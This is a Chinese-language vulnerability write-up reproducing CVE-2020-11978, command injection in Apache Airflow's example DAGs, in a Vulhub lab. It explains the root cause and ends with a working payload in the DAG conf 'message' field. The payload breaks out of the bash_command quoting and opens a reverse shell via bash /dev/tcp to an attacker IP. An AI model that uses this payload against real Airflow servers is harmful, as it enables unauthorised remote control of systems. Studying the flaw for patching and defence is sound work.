CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用

简介

  • 漏洞软件:Apache Airflow
  • 影响版本:<= 1.10.10

环境

  • Vulhub 漏洞测试靶场

复现步骤

  • 进入 /root/vulhub/airflow/CVE-2020-11978/ 目录
  • 运行以下命令启动环境
python 复制代码
# 初始化数据库
docker compose run airflow-init
# 开启服务
docker compose up -d
  • 在客户端访问 server-ip:8080
  • 找到 example_trigger_target_dag 开启 (有向无环图) 后变为 "On" 状态
  • 在这一列的右侧点击如下按钮
  • 输入以下字符后点击 Trigger 按钮
  • 点击完成后 airflow_dag_success_touch_file 文件就会被创建在 /tmp 目录下,使用以下命令在容器中进行查询和验证

原因

  • 默认情况下 Airflow Web UI 是未授权访问的,直接可以登录,而登录后,只能查看 DAG 的调度状态等,无法进行更多操作
  • 但 Airflow Web UI 中提供了触发 DAG 运行的功能,以便测试 DAG,同时 Airflow 为了让使用者可以快速熟悉其 DAG 开发流程和功能,为了更好的示例这些 DAG 覆盖了大多的执行器
  • 而其中两个 DAG 组合起来可触发命令注入导致漏洞产生,如下所示,通过一个DAG(example_trigger_controller_dag)来动态的调用另外一个 DAG(example_trigger_target_dag)
python 复制代码
#airflow/example_dags/example_trigger_target_dag.py
1. 1st DAG (example_trigger_controller_dag) 持有一个 TriggerDagRunOperator,它将触发第二个 DAG
#airflow/example_dags/example_trigger_controller_dag.py
2. 2nd DAG (example_trigger_target_dag) 它将由第一个 DAG 中的 TriggerDagRunOperator 触发
  • 即通过 example_trigger_controller_dag 内部定义的 conf={"message": "Hello World"} 来触发 example_trigger_target_dag 中 bash_command='echo "Here is the message:'{{ dag_run.conf["message"] if dag_run else "" }}'"' 的运行

  • 根据上面信息可以看出,输入 dag_run.conf["message"] 由第一个 DGA 传递过来的,看起来无法控制。而实际上熟悉下 Airflow 相关代码即可发现 Airflow 中 DAG Run 是代表 DAG 及时实例化的对象,而其中 conf 正是用于传递参数的方式, Airflow 提供了多渠道可以修改 conf,包括命令行例如:
python 复制代码
airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag

利用

  • kali 打开 nc
  • 输入以下消息并触发 DAG
python 复制代码
#socket 连接
{"message":"'\";bash -i >& /dev/tcp/10.10.1.7/6666 0>&1;#"}
  • 连接成功

缓解

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